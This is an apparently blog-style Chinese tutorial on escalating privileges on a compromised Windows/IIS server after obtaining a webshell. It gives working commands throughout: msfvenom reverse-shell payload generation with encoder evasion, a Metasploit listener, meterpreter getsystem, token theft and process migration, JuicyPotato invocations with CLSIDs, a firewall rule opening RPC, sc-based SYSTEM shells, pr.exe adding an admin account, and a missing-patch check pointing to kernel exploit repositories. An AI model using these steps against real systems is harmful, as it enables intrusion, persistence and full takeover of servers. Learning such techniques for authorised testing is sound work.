提权 | Windows系统

cmd提权

前言:我们getshell一个用windows部署的网站后,通过蚁剑或者其他工具进行连接的时候通常权限是不够的,执行简单的dir指令都会被拒绝访问,那么这时候其实就可以通过上传一个cmd直接进行提权,可以执行一些简单的命令而不至于一个指令都无法执行。

由于windows的iis网站部署使用的用户是windows指派的iuser用户,iuser没有cmd的使用权限,所以无法执行指令。

  • 假设我们已经把木马放到了windows服务端上,通过蚁剑或者菜刀等等工具进行连接。如果能够访问到c盘的目录那就直接下载下来,然后通过iuser用户上传到网站目录中,如果不可以那就使用上传文件功能上传一个cmd.exe,最好是和他windows系统版本匹配的cmd。

    上传cmd程序到网站目录下
  • 在网站目录下右键打开菜刀的虚拟虚拟终端,设置好我们要使用的cmd.exe程序。
    注(在使用菜刀中):需要在该网站目录下打开虚拟终端,不要去连接列表项处右键,否则会出现连dir都无法执行的情况,起码你在网站根目录下右键进入的权限还是个iuser用户能够执行简单指令。
setp c:\wwwtest\1111\cmd.exe

设置完成之后就可以进行一些指令操作了,
但是很遗憾的是我们whoami出来的用户依旧是windows指派给iis的iuser用户,
这里的network service就是指iuser用户。
比如我们无法进行用户的添加。


这时候就需要利用windows的一些系统漏洞了,查看windows服务端有哪些往年爆出来的漏洞但是他没有打补丁。

meterpreter提权

这里使用meterpreter的前提是你在本机使用监听器监听端口,然后把提前生成的这个木马文件让目标机点击运行了,监听器连接上session会话即可使用meterpreter进行后渗透工作。

这里简单介绍两个指令:

#以下指令中的木马文件生成路径都是可以修改的,不要过于死板
#里面的yourip是攻击机的ip,因为客户机要通过木马连接你
> msfvenom -p windows/meterpreter/reverse_tcp lhost=yourip lport=5000 -f exe -o /root/happy.exe 
> msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=yourip LPORT=4444 -f exe > abc.exe


到这里先别直接让目标机运行起来,而是需要我们在metasploit中开启监听器,再让目标机运行木马连接我们。

use exploit/multi/handler  //使用msf的监听模块
set lhost 192.168.100.120  //设置好监听器的ip地址,我这里就是kali主机ip地址
run  //run就直接运行了,正在监听中(也可以使用exploit指令)

切记,use之后一定要切换payload,不要使用默认的,不然我们上面的payload生成木马指令对应不上就连接不上了(因为我后面就是出现这个原因导致回来写这句话)


设置payload

set payload windows/meterpreter/reverse_tcp

设置参数,然后run就是开始监听了


将木马文件传到目标机器上,让其运行起来

菜刀上传


菜刀命令行运行起来

但是没关系,只要运行起来了, 就能看到我们的meterpreter成功拿下主机

meterpreter下提权指令,这里介绍几个,我们上面使用whoami还是iuser用户,所以还没达到提权的目的。

getsystem #直接升至system权限
migrate 进程号    #需要你找到高权限的进程,然后迁移至他的pid实现提权

getsystem

用法:getsystem

msf拿到shell后进入meterpreter,直接输入getsystem即可尝试提权。

steal_token

用法:steal_token PID

窃取system权限开启进程的用户的令牌,一般是找system用户,拿system权限开启的进程的token令牌提权,是否成功可以通过getuid来查看是否为system权限

migrate

进程迁移提权

migrate 进程号用法如下

  • 首先使用ps查看哪些进程被较高用户权限开启的进程,原理是通过该指令将他的权限移植到我们自己这里来。
  • 比如下面的336,是system开启的,我们就可以尝试将他的权限移植给我们

    耐心等待一下


    成功移植,如果有时候getsystem不好使可以尝试一下这个。

令牌窃取(MS16-075)

工具百度网盘分享:
https://pan.baidu.com/s/1u-9f1_kRjfhjfmG6qV5ThQ?pwd=ws5x

烂土豆提权步骤

1.查看是否符合提权条件

whoami /all 或 whoami /priv

如果`SeImpersonate` or `SeAssignPrimaryToken` 两个权限其中有一个开启了即可提权,都关闭即不符合条件

2.去CLSID目录下查找CLSID

执行命令:
Powershell -ep bypass -f GetCLSID.ps1 > CLSID.list

目录下的GetCLSID.ps1和GetCLSID2.ps1 都能用,
如果GetCLSID.ps1用不了就用`GetCLSID2.ps1`,
而且我一般都用`GetCLSID2.ps1`
输出到CLSID.list文件中,是为了后续测试CLSID是否能用做铺垫

3.测试可用的CLSID,bat文件在juicy-potato\Test\test_clsid.bat

上一步使用Powershell -ep bypass -f GetCLSID.ps1执行出来的内容输出到文件CLSID.list里面
然后把`JuicyPotato.exe`、`CLSID.list`、`test_clsid.bat`三个文件在同一目录即可
接着直接运行窗口运行test_clsid.bat即可看到哪些可以用的CLSID了

4.接着就可以使用烂土豆exe程序了
这里用哪个CLSID的话就要打开看log文件,后面会对应着这个CLSID用户(选择SYSTEM的就提权为SYSTEM权限)

比如我们选择第一个CLSID
JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -l 1155 -c {000C101C-0000-0000-C000-000000000046}


-t *表示-t t 或者-t u都可以,*代表SeImpersonate和SeAssignPrimaryToken随便开一个即可,
另外`-t t`代表`SeImpersonate`,而`-t u`代表`SeAssignPrimaryToken`,所以还是跟着官方教程直接使用*即可
他的教程也有说`-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both`
-p指定cmd路径,这里就是要以system权限启动的程序,待会拿到cmd执行whoami的时候就是system权限了(桌面弹新cmd窗口)
-l指定一个没有被系统使用的端口,没有固定值
-c指定可用的CLSID

5.细节:还要注意查看RPC默认端口是否为135 && 注意防火墙是否允许是否允许RPC端口入站

端口问题:
RPC默认端口是否为135,如果不是的话就需要修改,只修要添加-n参数指定端口即可
比如:`JuicyPotato.exe -n 111 -t * -p c:\windows\system32\cmd.exe -l 1155 -c {8BC3F05E-D86B-11D0-A075-00C04FB68820}`


防火墙问题:注意端口号,如果不是135自己修改 localport=135 的值即可
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

6.提权成功会在桌面弹出一个system权限的cmd窗口
但是我这里没找到合适的虚拟机器,也就是说SeImpersonate or SeAssignPrimaryToken 两个权限都没有开,所以失败了
如果成功的话是会弹出一个CLSID对应用户权限的cmd窗口

烂土豆提权原理

COM对象即LocalService,而LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限
- 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程
- 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程

下面就是认证替换数据获取system权限原理
1、尝试加载COM,发出请求,你发起的这个请求加载的com的权限为System。这里的COM对象可以查到CLSID看用户是什么权限的用户,所以这也就是为什么我们提权前需要用对应为system权限的CLSID
2.上一步的发起加载COM主要是为了拿到回应步骤1的请求的这个数据,这里会回应然后发起NTLM认证,但是很明显你不是system权限,所以无法认证认证成功。(目的达到了,拿到请求system权限回应过来的NTLM数据)
3.针对本地端口,同样发起NTLM认证,权限为当前用户,这里肯定会认证成功,所以拿到认证成功的NTLM认证的数据
4.分别拦截两个NTLM认证的数据包,通过NTLM重放使得(权限为System)的NTLM认证通过,然后拿到system的token数据。(越权漏洞)
5.拿着system权限的token启动程序,创建出来的进程就是system权限了,比如cmd

sc命令提权

针对版本windows 7、8、03、08、12、16

这种通常需要直接远程主机或者比较强的反弹shell中使用才行

这种方式是通过创建服务的方式进行提权,不过使用webshell比较弱的连接方式是无法做到在连接器中进行提权,所以这里演示的是直接在目标机中直接使用命令进行提权。

Administrator不是最高的权限,system才是,所以我们在Administrator中也能够体现出提权效果。

如下:

首先打开cmd终端,现在属于Administrator用户,现在要提权为system权限。

命令
添加服务:sc Create syscmd binPath= "cmd /K start" type= own type= interact
执行服务:sc start syscmd

syscmd在添加服务的时候可以定义服务名称,执行服务的时候也是用这个名称,为了具有迷惑性,所以我一般选择syscmd等等其他名字也可以。
执行服务后会自动弹出另一个dos窗口,而不是在本窗口中,这也是webshell用不了的原因。webshell太拉了。

抓本地密码提权

这里要是能抓到管理员的密码登录也是提权的一种方式,在内网渗透中有提到本地密码提取,但是你要用工具拿密码的一般都需要高权限,我们现在就处于低权限,所以比较
内网渗透-内网信息收集(一):
https://blog.csdn.net/weixin_60521036/article/details/142964820

其他工具

工具有很多,pr、巴西烤肉、iis6等等。这里就介绍pr提权。

pr工具

主要适用于‌Windows Server 2003‌和‌Windows XP‌系统‌

这里演示一个pr和一个pr免参数的debug.exe,我们丢到靶机上面试试,提权工具在github上搜就能搜到。


上传成功后,打开虚拟终端,在上传文件目录下 直接运行该程序即可 。运行成功后可以看到他运行了哪些指令,其实这个一看就知道是默认创建了一个temp用户名,密码是123456,然后将用户添加到了管理员用户组中,那么我们就可以拿着这个用户去远程连接这个目标机了

如果想指定用户名和密码的就是用pr.exe上传过去使用,用法是:pr.exe "net user uname passwd /add" , 用法其实就是windows正常创建用户的指令语法,只不过是将参数传到pr.exe中让他帮你创建,注意,这里依旧是帮你自动添加到管理员用户组,你可以net user查看一下用户组成员。

那么问题来了,既然pr.exe可以帮我们执行创建用户和添加用户组行为,那是不是也可以执行其他操作??对的!!

pr.exe "指令写在这就会按照system用户帮你执行"

如下所示:(这里提前将pr.exe上传过去目标机了)

内核提权

一般我还是用内核提权居多。
微软官方公布的漏洞编码号:https://learn.microsoft.com/zh-cn/security-updates/securitybulletins/2017/securitybulletins2017

快速查找未安装的补丁cmd指令:

systeminfo > micropoor.txt&(for %i in ( KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3141780 ) do @type micropoor.txt|@find /i "%i"|| @echo %i you can fuck)&del /f /q /a micropoor.txt

指令输入后看到很多补丁没有打的话,补丁上面对应的这些漏洞都可以尝试一下。

拿着没有打的漏洞补丁去github上看对应的提权工具:https://github.com/SecWiki/windows-kernel-exploits


对应的exp推荐以下的链接地址,但是都是目前已公布的,未公布的谁也不敢发。

已对外公开exp注:
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation


exp有直接的exe运行程序的话就可以把这个exe程序丢到目标机上,让目标机运行


下面还有对应的使用方法,一般都是使用msf来连接控制目标机的。

WindowsVulScan

还可以通过WindowsVulScan工具来收集可打的漏洞

1.将KBCollect.ps1文件放到目标主机上

2.在cmd输入powershell,然后运行.\KBCollect.ps1

3.若是由于权限报错,下面方法可以解决
====================第一种方法=========================
​	输入:get-ExecutionPolicy
 	(此时会输出得到:Resticted)
​	输入:Set-ExecutionPolicy-Scope CurrentUser
​	输入:RemoteSigned
​	验证是否解决问题,输入:get-ExecutionPolicy
 	(此时返回RemoteSigned的话问题得到解决)
======================================================
====================第一种方法=========================
解决办法:(参考文章:https://ligowi.github.io/2021/02/04/RemoteSigned%E9%97%AE%E9%A2%98/)
1》Windows+R;
2》输入PowerShel l;
3》运行 “Set-ExecutionPolicy -Scope CurrentUser”;
4》出现ExecutionPolicy: ,填入RemoteSigned;
5》输入Y
6》关闭PowerShel ,然后执行get-ExecutionPolicy,发现变成了RemoteSigned,就成功了。
======================================================
4.继续运行.\KBCollect.ps1会生成补丁检测包KB.json

5.把补丁检测包放到我们的物理机上

6.运行python cve-check.py -C -f KB.json

接着就去github漏洞库找到对应的漏洞去提权即可,下面是漏洞库

漏洞库:https://github.com/nomi-sec/PoC-in-GitHub

ps1脚本放到目标机器上使用powershell执行,报错后我这里使用了第二种方式最后才成功执行脚本,报错第二种解决方法在上面有写这里省略了,直接看执行结果。


然后按照步骤将KB.json文件或者内容在脚本中执行

python cve-check.py -C -f KB.json

结果出来后就可以看到哪些漏洞可以打,然后去漏洞库找exp就行了

END.